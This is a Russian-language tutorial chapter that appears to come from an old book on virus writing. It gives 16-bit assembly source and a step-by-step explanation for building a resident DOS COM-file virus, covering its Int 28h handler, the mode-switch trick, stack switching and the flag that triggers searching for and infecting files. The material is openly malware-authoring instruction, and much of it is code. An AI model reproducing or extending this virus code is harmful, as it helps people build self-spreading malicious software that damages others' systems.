Вирус начинает работу

Заголовок вируса

Для разработки вируса мы, как и раньше, будем использовать COM формат. Естественно,в резидентном вирусе будут использованы некоторые блоки, созданные нами в предыдущей главе. Поэтому на их работе мы останавливаться не будем, а вместо этого сделаем акцент на новых приемах, реализованных в программе.

Итак, начнем:

prg segment assume cs:prg,ds:prg,es:prg,ss:prg org 100h start: jmp vir ;Передача управ- ;ления вирусному ;коду. .. org 110h

Приведенные команды и директивы выполняют те же самые функции, что и аналогичные, использованные нами при создании нерезидентной вирусной программы.

Несколько забегая вперед, отметим, что наш вирус будет работать так:

  1. Обработчик прерывания Int 21h отслеживает смену оператором текущего каталога или диска. Если пользователь действительно сменил диск или каталог,то переменная TG_INFECT устанавливается в единицу.
  2. Обработчик прерывания Int 28h вызывается DOS всякий раз, когда можно, не боясь зависаний, обращаться к системным функциям, работающим с файлами. Поэтому естественно возложить на него задачу поиска и заражения файлов. Исходя из этого процедура обработки Int 28h проверяет значение TG_INFECT, и если оно равно единице, выполняет поиск и заражение файлов.

После перехода на метку " vir " начинается исполнение вирусной программы. Поэтому продолжим: (Собственно это и есть начало обработчика прерывания Int 28h)

vir: db 0ebh ;90h - Для рези- db push_len ;90h дентной ; работы. pushf ;Запишем флаги ;в стек. .. cmp cs:tg_infect-110h,1;Активизиро- ;ваться ? je cs:vir_2 ;Да. .. call dword ptr cs:old_28h - 110h ;Нет - вызовем ;старый обработ- ;чик INT 28h, ;чтобы не топить ;другие TSR. .. iret vir_2: popf ;Переключаем ;стек для TSR - ;исполнения на mov cs:ss_save-110h,ss ;себя. .. mov cs:sp_save-110h,sp mov cs:help_word - 110h,cs mov ss,cs:help_word - 110h mov sp,to_newstack + 136 mov cs:tg_infect - 110h,0 pushf ;Вызываем старый db 9ah ;обработчик old_28h dw 0 ;INT 28h. .. old_28h_2 dw 0

Обратите внимание на команду, записанную в машинном коде сразу за меткой "vir". Сейчас мы попробуем разобраться, зачем она потребовалась.

Как вы знаете, наш вирус должен быть резидентным и состоять из двух частей. При этом секция инициализации исполняется только в транзитном (нерезидентном) режиме, а резидентная часть - только в резидентном.

Команда

db 0ebh ;90h - Для рези- db push_len ;90h дентной ; работы.

играет роль "переключателя" между транзитным и резидентным кодами. При заражении вирус записывает в файл команду перехода, которая при запуске зараженного файла передает управление на "push_len" байт вперед, где как раз и начинается секция инициализации. Если же попытаться выполнить эту команду в резидентном режиме, т. е. когда код вируса получил управление, находясь в памяти,это приведет к зависанию компьютера. Чтобы такого не происходило, секция инициализации при установке вирусного кода в память записывает сразу за меткой "vir" две команды "NOP", или код: 9090h.

Все приведенные далее команды относятся к резидентной части. После записи флагов в стек вирус проверяет состояние переменной " tg_infect ", и если она равна " 1 ", переходит к метке " vir_2 ". Если же "tg_infect" равна " 0 ",то вирус просто вызывает старый обработчик INT 28h и отдает управление прерванному процессу.Чуть позже мы рассмотрим, как формируется значение переменной "tg_infect" . Поскольку приводимый обработчик активно работает со стеком,есть смысл предусмотреть в нем собственный стек. Поэтому сразу за меткой " vir_2 " запишем команды, переключающие стек на специальную область данных вируса "newstack":

;Переключаем ;стек для TSR - ;исполнения на mov cs:ss_save-110h,ss ;себя. .. mov cs:sp_save-110h,sp mov cs:help_word - 110h,cs mov ss,cs:help_word - 110h mov sp,to_newstack + 136 mov cs:tg_infect - 110h,0

Последней запишем команду, сбрасывающую "tg_infect" в ноль. Этим мы защитим вирусный код от повторного вхождения. Теперь необходимо вызвать старый обработчик INT 28h, иначе наш вирус будет " топить " другие резидентные программы, которые перехватывают это же прерывание. Поэтому запишем:

pushf ;Вызываем старый db 9ah ;обработчик old_28h dw 0 ;INT 28h. .. old_28h_2 dw 0

Обработчик здесь вызывается как дальняя процедура. Команда "CALL" записана в виде машинного кода, а поля "old_28h" и "old_28h_2" заполняются секцией инициализации при установке вируса в память.

* Обратите внимание на команды переключения стека. Они необычны тем,что от адреса ячеек памяти "ss_save", "sp_save", "tg_infect" и "help_word" отнимается число 110h. Дело в том, что при компиляции исходного текста COM - программы адреса ячеек памяти вычисляются исходя из того, что DS указывает на начало ее PSP. Кроме того, в самом начале вируса мы записали директиву "org 110h". Но ведь к вышеуказанным ячейкам памяти вирус обращается в резидентном режиме, да еще и относительно CS. А CS указывает строго на начало обработчика, а не на начало PSP, как это было при компиляции! Поэтому относительный адрес ячеек необходимо уменьшить на 110h, что мы и сделали. Этот прием будет использован еще несколько раз при построении вирусных обработчиков прерываний, поэтому полезно будет понять, на чем он основан.